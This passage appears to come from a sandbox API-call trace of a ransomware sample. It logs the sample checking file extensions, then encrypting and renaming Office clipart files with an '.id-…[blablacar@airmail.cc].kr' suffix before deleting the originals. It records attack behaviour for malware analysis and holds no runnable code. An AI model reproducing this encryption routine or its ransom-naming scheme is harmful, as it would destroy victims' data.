Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0205.839] lstrlenW (lpString=".dbf") returned 4 [0205.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0205.839] lstrlenW (lpString=".1cd") returned 4 [0205.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0205.840] lstrlenW (lpString=".jpg") returned 4 [0205.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0205.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0205.840] lstrlenW (lpString=".doc") returned 4 [0205.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.840] lstrlenW (lpString=".docx") returned 5 [0205.840] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0205.840] lstrlenW (lpString=".pdf") returned 4 [0205.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.840] lstrlenW (lpString=".xls") returned 4 [0205.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.840] lstrlenW (lpString=".xlsx") returned 5 [0205.840] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0205.840] lstrlenW (lpString=".ppt") returned 4 [0205.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0205.840] lstrlenW (lpString=".zip") returned 4 [0205.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.840] lstrlenW (lpString=".rar") returned 4 [0205.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.840] lstrlenW (lpString=".bz2") returned 4 [0205.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.840] lstrlenW (lpString=".7z") returned 3 [0205.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0205.840] lstrlenW (lpString=".dbf") returned 4 [0205.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0205.840] lstrlenW (lpString=".1cd") returned 4 [0205.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0205.841] lstrlenW (lpString=".jpg") returned 4 [0205.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.841] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.841] lstrlenW (lpString="J0105280.WMF") returned 12 [0205.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.110] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11540) returned 1 [0206.110] CloseHandle (hObject=0x3c4) returned 1 [0206.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 0x220 [0206.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.111] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.111] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0206.113] GetLastError () returned 0x0 [0206.113] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2d14, lpOverlapped=0x0) returned 1 [0206.115] WriteFile (in: hFile=0x564, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2d20, lpOverlapped=0x0) returned 1 [0206.116] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.116] WriteFile (in: hFile=0x564, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.116] SetEndOfFile (hFile=0x564) returned 1 [0206.117] CloseHandle (hObject=0x564) returned 1 [0206.117] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.117] SetEndOfFile (hFile=0x3c4) returned 1 [0206.119] CloseHandle (hObject=0x3c4) returned 1 [0206.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0206.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0206.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0206.121] lstrlenW (lpString=".doc") returned 4 [0206.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.121] lstrlenW (lpString=".docx") returned 5 [0206.121] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0206.121] lstrlenW (lpString=".pdf") returned 4 [0206.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.121] lstrlenW (lpString=".xls") returned 4 [0206.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.121] lstrlenW (lpString=".xlsx") returned 5 [0206.121] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0206.121] lstrlenW (lpString=".ppt") returned 4 [0206.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0206.121] lstrlenW (lpString=".zip") returned 4 [0206.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.121] lstrlenW (lpString=".rar") returned 4 [0206.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.121] lstrlenW (lpString=".bz2") returned 4 [0206.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.122] lstrlenW (lpString=".7z") returned 3 [0206.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0206.122] lstrlenW (lpString=".dbf") returned 4 [0206.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0206.122] lstrlenW (lpString=".1cd") returned 4 [0206.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0206.122] lstrlenW (lpString=".jpg") returned 4 [0206.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0206.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0206.122] lstrlenW (lpString=".doc") returned 4 [0206.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.122] lstrlenW (lpString=".docx") returned 5 [0206.122] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0206.122] lstrlenW (lpString=".pdf") returned 4 [0206.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.122] lstrlenW (lpString=".xls") returned 4 [0206.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.122] lstrlenW (lpString=".xlsx") returned 5 [0206.122] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0206.122] lstrlenW (lpString=".ppt") returned 4 [0206.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0206.122] lstrlenW (lpString=".zip") returned 4 [0206.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.122] lstrlenW (lpString=".rar") returned 4 [0206.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.122] lstrlenW (lpString=".bz2") returned 4 [0206.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.123] lstrlenW (lpString=".7z") returned 3 [0206.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0206.123] lstrlenW (lpString=".dbf") returned 4 [0206.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0206.123] lstrlenW (lpString=".1cd") returned 4 [0206.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0206.123] lstrlenW (lpString=".jpg") returned 4 [0206.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.123] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.123] lstrlenW (lpString="J0105288.WMF") returned 12 [0206.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.124] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=15832) returned 1 [0206.124] CloseHandle (hObject=0x3c4) returned 1 [0206.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 0x220 [0206.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.125] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.125] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0206.126] GetLastError () returned 0x0 [0206.126] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3dd8, lpOverlapped=0x0) returned 1 [0206.128] WriteFile (in: hFile=0x564, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3de0, lpOverlapped=0x0) returned 1 [0206.129] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.129] WriteFile (in: hFile=0x564, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.129] SetEndOfFile (hFile=0x564) returned 1 [0206.129] CloseHandle (hObject=0x564) returned 1 [0206.129] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.129] SetEndOfFile (hFile=0x3c4) returned 1 [0206.133] CloseHandle (hObject=0x3c4) returned 1 [0206.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0206.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0206.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0206.134] lstrlenW (lpString=".doc") returned 4 [0206.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.134] lstrlenW (lpString=".docx") returned 5 [0206.134] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.134] lstrlenW (lpString=".pdf") returned 4 [0206.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.134] lstrlenW (lpString=".xls") returned 4 [0206.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.134] lstrlenW (lpString=".xlsx") returned 5 [0206.134] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.134] lstrlenW (lpString=".ppt") returned 4 [0206.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0206.134] lstrlenW (lpString=".zip") returned 4 [0206.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.134] lstrlenW (lpString=".rar") returned 4 [0206.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.135] lstrlenW (lpString=".bz2") returned 4 [0206.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.135] lstrlenW (lpString=".7z") returned 3 [0206.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0206.135] lstrlenW (lpString=".dbf") returned 4 [0206.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0206.135] lstrlenW (lpString=".1cd") returned 4 [0206.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0206.135] lstrlenW (lpString=".jpg") returned 4 [0206.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0206.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0206.135] lstrlenW (lpString=".doc") returned 4 [0206.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.135] lstrlenW (lpString=".docx") returned 5 [0206.135] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.135] lstrlenW (lpString=".pdf") returned 4 [0206.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.135] lstrlenW (lpString=".xls") returned 4 [0206.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.135] lstrlenW (lpString=".xlsx") returned 5 [0206.135] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.135] lstrlenW (lpString=".ppt") returned 4 [0206.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0206.135] lstrlenW (lpString=".zip") returned 4 [0206.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.135] lstrlenW (lpString=".rar") returned 4 [0206.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.136] lstrlenW (lpString=".bz2") returned 4 [0206.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.136] lstrlenW (lpString=".7z") returned 3 [0206.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0206.136] lstrlenW (lpString=".dbf") returned 4 [0206.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0206.136] lstrlenW (lpString=".1cd") returned 4 [0206.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0206.136] lstrlenW (lpString=".jpg") returned 4 [0206.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.136] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.136] lstrlenW (lpString="J0105292.WMF") returned 12 [0206.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.137] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=14868) returned 1 [0206.137] CloseHandle (hObject=0x3c4) returned 1 [0206.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 0x220 [0206.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.137] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.138] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0206.139] GetLastError () returned 0x0 [0206.139] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3a14, lpOverlapped=0x0) returned 1 [0206.141] WriteFile (in: hFile=0x544, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3a20, lpOverlapped=0x0) returned 1 [0206.142] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.142] WriteFile (in: hFile=0x544, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.142] SetEndOfFile (hFile=0x544) returned 1 [0206.142] CloseHandle (hObject=0x544) returned 1 [0206.143] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.143] SetEndOfFile (hFile=0x3c4) returned 1 [0206.661] CloseHandle (hObject=0x3c4) returned 1 [0206.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0206.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0206.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0206.662] lstrlenW (lpString=".doc") returned 4 [0206.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.662] lstrlenW (lpString=".docx") returned 5 [0206.662] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0206.662] lstrlenW (lpString=".pdf") returned 4 [0206.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.662] lstrlenW (lpString=".xls") returned 4 [0206.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.662] lstrlenW (lpString=".xlsx") returned 5 [0206.662] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0206.662] lstrlenW (lpString=".ppt") returned 4 [0206.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0206.663] lstrlenW (lpString=".zip") returned 4 [0206.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.663] lstrlenW (lpString=".rar") returned 4 [0206.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.663] lstrlenW (lpString=".bz2") returned 4 [0206.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.663] lstrlenW (lpString=".7z") returned 3 [0206.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0206.663] lstrlenW (lpString=".dbf") returned 4 [0206.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0206.663] lstrlenW (lpString=".1cd") returned 4 [0206.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0206.663] 